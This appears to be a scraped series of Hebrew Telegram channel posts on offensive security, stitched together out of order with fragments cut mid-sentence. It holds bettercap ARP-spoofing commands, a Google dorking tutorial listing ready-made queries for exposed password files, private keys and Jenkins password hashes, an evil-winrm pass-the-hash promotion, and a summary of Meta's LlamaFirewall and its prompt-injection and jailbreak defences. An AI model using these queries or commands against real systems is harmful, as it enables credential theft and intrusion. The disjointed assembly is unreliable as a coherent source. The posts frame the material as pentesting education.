arp.spoof.internal false (התמקדות בתעבורה לאינטרנט) set arp.spoof.whitelist <IP_ADDRESSES>: רשימת כתובות שלא נרצה לתקוף (חשוב לא לתקוף בטעות מכשירים קריטיים או את עצמנו!). set arp.spoof.whitelist 192.168.1.1, 192.168.1.50 בדיקת ההגדרות: אפשר לוודא את ההגדרות הנוכחיות עם: Bash

חג שמח!! הצטרפו לערוץ @CYBERSECURITYCODING

--- 🤖🛡️ מטא מציגה: LlamaFirewall - חומת אש קוד פתוח לעידן ה-AI! 🔥🔓 בעידן שבו מודלי שפה גדולים (LLMs) ובינה מלאכותית הופכים לחלק בלתי נפרד מהטכנולוגיה, צצים גם אתגרי אבטחה חדשים ומורכבים. 😬 מטא (פייסבוק לשעבר) לא נשארת מאחור והכריזה על כלי חדש וחשוב: LlamaFirewall! 🎉 מדובר במסגרת (Framework) קוד פתוח שנועדה להגן על יישומי AI מפני סיכונים כמו הזרקת פקודות (Prompt Injection), "פריצת גבולות" (Jailbreaks) ויצירת קוד לא מאובטח. בואו נצלול פנימה! 👇 --- 🤔 רקע תיאורטי: האיומים החדשים בעולם ה-AI ופתרון ה-Firewall ככל שמודלי AI כמו ChatGPT, Llama ואחרים נהיים חזקים יותר, כך גדלה היכולת לנצל אותם לרעה. שלושה איומים מרכזיים שמטא מתמקדת בהם עם LlamaFirewall הם: 1. הזרקת פקודות (Prompt Injection): 💉 ניסיון לגרום למודל לבצע פעולות שהוא לא אמור לבצע, להתעלם מההנחיות המקוריות שלו, או לחשוף מידע רגיש, על ידי "השתלת" פקודות זדוניות בתוך הקלט הלגיטימי (ה-Prompt). 2. פריצת גבולות (Jailbreaking): 🔓 טכניקות שנועדו לעקוף את מגבלות הבטיחות והאתיקה שהוטמעו במודל, ולגרום לו לייצר תוכן אסור, מסוכן או פוגעני. 3. יצירת קוד לא מאובטח: 💻⚠️ כאשר מבקשים מ-AI לכתוב קוד, הוא עלול לייצר קוד שמכיל פרצות אבטחה, פגיעויות, או אפילו קוד זדוני באופן לא מכוון (או מכוון, אם "שוכנע" לכך). LlamaFirewall באה לתת מענה לאתגרים אלו באמצעות גישה שכבתית ומודולרית. זה לא מוצר אחד, אלא מסגרת הגנה גמישה שניתן להתאים ליישומי AI שונים, מצ'אטבוטים פשוטים ועד סוכני AI אוטונומיים מורכבים. 🤖🔧 --- 🛠️ פרקטיקה: איך LlamaFirewall עובד? הכירו את הרכיבים! 🛠️ המסגרת החדשה משלבת שלושה קווי הגנה עיקריים: 1. PromptGuard 2: 🛡️⏱️ מנגנון הגנה שמטרתו לזהות בזמן אמת ניסיונות ל-Prompt Injection ישיר והזרקת קוד (למשל, פקודות SQL או סקריפטים) ישירות לתוך הקלט של המודל. הוא פועל כשומר סף בכניסה. 2. Agent Alignment Checks: 🤔🕵️‍♂️ רכיב זה בודק את תהליך ה"חשיבה" (Reasoning) של סוכן ה-AI. הוא מחפש סימנים לכך שהסוכן "נחטף" (Target Hijacking) או מנסה לבצע פעולות זדוניות כתוצאה מהזרקת קוד עקיפה (למשל, דרך מסמך או אתר שה-AI קורא). 3. CodeShield: 💻🛡️ מנוע ניתוח קוד סטטי (Static Analysis) שמטרתו למנוע מה-AI לייצר קוד לא מאובטח או מסוכן. הוא בודק את הקוד שה-AI מציע לפני שהוא מגיע למשתמש או למערכת. מעבר ל-Firewall: כלים נוספים מבית מטא: מטא לא עצרה ב-LlamaFirewall ושחררה גם עדכונים וכלים נוספים: * LlamaGuard (מעודכן): משמש לזיהוי תוכן מפר זכויות יוצרים או תוכן בעייתי אחר בפלט של המודל. 🚫📝 * CyberSecEval 4 (מעודכן): כלי להערכת יכולות ההגנה בסייבר של מודלי AI. כולל מדד חדש ומרתק: * AutoPatchBench: 📊🩹 בודק את היכולת של LLM לתקן באופן אוטומטי פגיעויות קוד (ב-C/C++) שזוהו באמצעות Fuzzing! זהו צעד משמעותי לקראת "תיקון עצמי" של מערכות בעזרת AI. * תוכנית Llama for Defenders: 🤝 יוזמה חדשה לשיתוף פעולה עם ארגונים וחוקרים כדי להשתמש בכלי AI של מטא (פתוחים וסגורים) להתמודדות עם אתגרי אבטחה, כמו זיהוי תוכן מזויף (Deepfakes), הונאות פישינג ועוד. 🎣🤖 ומה עם פרטיות? במקביל, וואטסאפ (שבבעלות מטא) הציגה טכנולוגיה בשם Private Processing 🔒💬 שנועדה לאפשר שימוש בתכונות AI תוך שמירה על פרטיות המשתמשים, על ידי עיבוד הבקשות בסביבה מאובטחת ונפרדת. --- 📝 סיכום ומסקנות: ההכרזות של מטא מדגישות את החשיבות הגוברת של אבטחת מערכות בינה מלאכותית. LlamaFirewall ושאר הכלים מהווים תרומה משמעותית לקהילת הקוד הפתוח ומספקים כלים קונקרטיים למפתחים ולצוותי אבטחה להתמודד עם האיומים החדשים. 🛡️🌐 הגישה המודולרית והפתוחה מאפשרת גמישות והתאמה, והדגש על הערכת יכולות (כמו ב-AutoPatchBench) ועל שיתוף פעולה (Llama for Defenders) מראה שהדרך לאבטחת AI עוברת דרך הקהילה. 🤝 זהו תחום שמתפתח במהירות מסחררת, וכלים כמו אלה הם צעד הכרחי בדרך לשימוש בטוח ואחראי בטכנולוגיות AI. 🚀 מה דעתכם על הכלים החדשים של מטא? האם לדעתכם חומות אש ייעודיות ל-AI יהפכו לסטנדרט? שתפו בתגובות! 👇 הצטרפו לערוץ @CYBERSECURITYCODING

קיים מאגר ציבורי מפורסם, המתארח ב-Exploit Database, שמכיל אלפי "דורקים" מוכנים לשימוש, מקוטלגים לפי סוג המידע שהם חושפים או הפגיעות שהם מאתרים. זהו כלי חובה לבודקי חדירות (ולתוקפים...). 📝 סיכום ומסקנות: Google Hacking הוא הדגמה מצוינת לכך שלא צריך כלים מסובכים כדי למצוא מידע רגיש. מנוע חיפוש פשוט יכול להפוך לכלי סריקה ואיסוף מודיעין חזק ביותר בידיים הנכונות (או הלא נכונות!). 😈🛡️ מה זה אומר עבורנו (כמגנים)? מודעות: להבין שכל מה שלא מוגן כראוי עלול להיות מאונדקס ולהיחשף. בדיקה עצמית: השתמשו בדורקים על האתרים והמערכות שלכם (בצורה אתית!) כדי לראות מה חשוף. חסימת אינדוקס: השתמשו בקובץ robots.txt, בתגי meta noindex, ובכותרות HTTP X-Robots-Tag כדי למנוע מגוגל לאנדקס תוכן רגיש. 🚫🤖 אבטחת שרתים ויישומים: הגדירו הרשאות קבצים נכונות, אל תשמרו סיסמאות בטקסט גלוי, עדכנו תוכנות, ואבטחו ממשקי ניהול. 🔐💻 חשוב לזכור: שימוש בטכניקות אלו כנגד מערכות שאינן בבעלותכם וללא אישור מפורש הוא לא חוקי ומהווה עבירה פלילית! ⚖️🚫 השתמשו בידע זה באחריות ולמטרות הגנה ולמידה בלבד. מקווה שהמאמר הזה פתח לכם את העיניים לכוחו של החיפוש! 😉 יש לכם דורקים מעניינים? שאלות? תובנות? שתפו בתגובות! 👇 הצטרפו לערוץ @CYBERSECURITYCODING

🕵️‍♂️🔍 Google Hacking: חשיפת סודות ברשת עם חיפוש פשוט! 🔍🕵️‍♂️ היום נדבר על טכניקה מתוחכמת ומוכרת בעולם הסייבר, שאינה דורשת כלים מיוחדים מלבד... דפדפן וחיבור לאינטרנט! 🌐 הכירו את Google Hacking, הידוע גם בשם Google Dorking. לא, זה לא אומר לפרוץ לגוגל עצמה 😅, אלא להשתמש במנוע החיפוש העוצמתי שלה בצורה חכמה כדי לחשוף מידע רגיש, פגיעויות אבטחה, וקבצים שאולי לא היו אמורים להיות נגישים לציבור הרחב. זה כמו להשתמש בפנס חזק במיוחד בחדר חשוך - מגלים דברים שלא רואים באור רגיל! 🔦 בואו נבין איך זה עובד, מה ההשלכות, ואיך תוקפים (ובודקי חדירות) מנצלים את זה לטובתם (או לרעת המטרה 😉). 🤔 רקע תיאורטי: מה זה בעצם Google Hacking? גוגל, כידוע, סורקת ומאנדקסת (יוצרת אינדקס) כמות אדירה של דפי אינטרנט, קבצים ותכנים ברחבי הרשת. המטרה שלה היא לאפשר לנו למצוא מידע במהירות. Google Hacking מנצל את היכולת הזו על ידי שימוש באופרטורים מתקדמים – פקודות חיפוש מיוחדות שמדייקות וממקדות את החיפוש מעבר למילים פשוטות. איך זה קורה שמידע רגיש נחשף? 🤷‍♂️ טעויות קונפיגורציה: הגדרות שרת לא נכונות שמאפשרות גישה לספריות קבצים או קבצי מערכת. ⚙️❌ חוסר מודעות: מפתחים או מנהלי מערכות שמעלים קבצים רגישים (כמו קבצי גיבוי, קבצי תצורה עם סיסמאות, לוגים) לשרת מבלי להגביל את הגישה אליהם. 📄🔑 פגיעויות ביישומים: יישומי רשת שחושפים מידע ב-URL או בתוכן הדף בגלל באגים. 🐛 ברירות מחדל לא מאובטחות: שימוש בהגדרות ברירת מחדל של תוכנות או מערכות שאינן מאובטחות מספיק. השלכות אבטחת מידע: 🛡️⚠️ שימוש נכון ב-Google Dorking יכול לחשוף אוצרות (מנקודת מבט של תוקף): קבצים רגישים: קבצי סיסמאות (passwd, .htpasswd), קבצי תצורה (config.xml, web.config), קבצי גיבוי (.sql, .bak), גיליונות אלקטרוניים עם מידע רגיש (.xls, .csv). 📄🔑💾 נקודות תורפה: גרסאות תוכנה ישנות ופגיעות, דפי ניהול חשופים, ממשקי API לא מאובטחים. 💻🔓 מידע טכני על המערכת: סוג שרת האינטרנט, טכנולוגיות בשימוש, מבנה ספריות. 🏗️ מידע עסקי ואישי: רשימות לקוחות, מסמכים פנימיים, כתובות אימייל. 🏢👤📧 ספריות פתוחות (Directory Listing): מאפשרות לדפדף בקבצים ותיקיות ישירות דרך הדפדפן. 📂👀 🛠️ פרקטיקה: איך תוקפים משתמשים בזה? ה"דורקים" (Dorks) 🛠️ ה"דורק" הוא למעשה שאילתת החיפוש המתוחכמת בגוגל. השילוב של אופרטורים מאפשר למצוא מחטים בערימות שחת. הנה כמה מהאופרטורים החשובים והשימושיים: site:domain.com: מגביל את החיפוש לדומיין ספציפי. דוגמה לתוקף: site:victim.com – מתחילים לאסוף מידע רק על המטרה. filetype:xyz: מחפש קבצים מסוג מסוים (pdf, txt, log, sql, xml, bak, config, xls, docx...). דוגמה לתוקף: site:victim.com filetype:sql – מחפש קבצי מסד נתונים באתר המטרה. 💾 intitle:"text": מחפש טקסט ספציפי בכותרת הדף (מה שמופיע בלשונית). דוגמה לתוקף: intitle:"index of" "parent directory" – מנסה למצוא ספריות פתוחות בשרת. 📂 דוגמה נוספת: intitle:"Dashboard" login – מנסה למצוא דפי לוגין למערכות ניהול. 🚪 inurl:text: מחפש טקסט בתוך כתובת ה-URL. דוגמה לתוקף: inurl:admin.php או inurl:/login – חיפוש דפי כניסה למערכות ניהול. דוגמה נוספת: site:victim.com inurl:passwd – מחפש URL שמכיל את המילה "passwd". intext:"text": מחפש טקסט בגוף הדף עצמו. דוגמה לתוקף: intext:"MySQL Connection Error" – יכול להצביע על בעיות בחיבור למסד נתונים ופוטנציאל ל-SQL Injection. - (מינוס): שולל מונח מהחיפוש. דוגמה לתוקף: site:victim.com filetype:pdf -inurl:marketing – מחפש PDF באתר, אבל לא כאלה שנמצאים בתיקיית "marketing". שילובים קטלניים לדוגמה (דורקים אמיתיים): 😈🔥 intitle:"index of" "passwd": חיפוש קבצי סיסמאות פוטנציאליים בספריות פתוחות. ⚠️🔑 filetype:log username putty : חיפוש קבצי לוג שאולי מכילים שמות משתמש מחיבורי Putty. inurl:login.txt filetype:txt: חיפוש קבצי טקסט פשוטים המכילים את המילה "login" בשם הקובץ (פחות נפוץ, אבל קורה). filetype:xml config.xml passwordHash Jenkins: חיפוש קבצי תצורה XML של Jenkins, שאולי מכילים hash של סיסמאות. ⚙️🔑 site:*.cloudprovider.com filetype:pem "PRIVATE KEY": חיפוש מפתחות פרטיים שאולי נשכחו חשופים בשירותי ענן. ☁️🔑 (זהירות!) site:victim.com inurl:password filetype:pdf: חיפוש קבצי PDF באתר ספציפי שמכילים "password" ב-URL. 📄 מאגר המידע Google Hacking Database (GHDB): 📚💡

בוט חיפוש מידע על משתמשים בטלגרם: https://teletype.in/@telelog/mentions-eng תהנו!

הצטרפו אלינו למדריך מעשי ומעמיק על evil-winrm – כלי חיוני בארגז הכלים של כל מי שעוסק בבדיקות חדירות (Pentesting) או ב-Red Teaming בסביבות Windows! בסרטון זה, אנחנו מדלגים על ההתקנה וקופצים ישר לפעולה, ומדגימים כיצד למנף את העוצמה של evil-winrm לגישה ותמרון במערכות יעד. מה תראו בסרטון? חיבור WinRM מתקדם: נראה איך להתחבר למכונת Windows מרוחקת באמצעות WinRM, תוך התמקדות בטכניקת Pass-the-Hash. נסביר כיצד להשתמש ב-NTLM Hash שהשגתם (במקום סיסמה) כדי לקבל גישה מלאה למערכת – טכניקה קריטית לתנועה רוחבית (Lateral Movement). העברת קבצים חלקה: נדגים את הפקודות upload ו-download המובנות ב-evil-winrm, המאפשרות העברה דו-כיוונית של קבצים בין מכונת התוקף למכונת היעד בקלות וביעילות. נראה איך להעלות כלים, סקריפטים או Payloads, ואיך למשוך קבצים רגישים ממכונת היעד. הסרטון הזה מיועד למי שכבר מכיר את הבסיס ורוצה לראות הדגמה מעשית של יכולות הליבה של evil-winrm בפעולה. נבין יחד מדוע הכלי הזה כל כך פופולרי ושימושי בתהליכי תקיפה מבוקרת.

Check out ───==≡≡ ō͡≡o˞̶ !$R𝟎𝑻𝟑𝑪𝒌AI︻╦╤─ ҉ – –: https://t.me/d1scot3ch0 ערוץ אם מלא תוכן מעניין והומור מגניב תהנו

זכרו, המטרה בשלב הזה היא לא לתקוף עדיין, אלא לאסוף כמה שיותר נתונים על משתמשים, קבוצות, קבצים, תוכנות, שירותים והגדרות. רק אחרי שיש לכם מספיק מידע, תוכלו לנתח אותו ולזהות את נקודות התורפה שתוכלו לנצל כדי להשיג את ההרשאות הנכספות. הבנת הכלים והטכניקות האלה חיונית גם אם אתם בצד ההגנתי – היא עוזרת לכם לחשוב כמו תוקף ולחזק את ההגנות שלכם במקומות הנכונים. 💪 שאלות? פקודות נוספות שאתם מכירים? שתפו בתגובות! 👇 @CYBERSECURITYCODING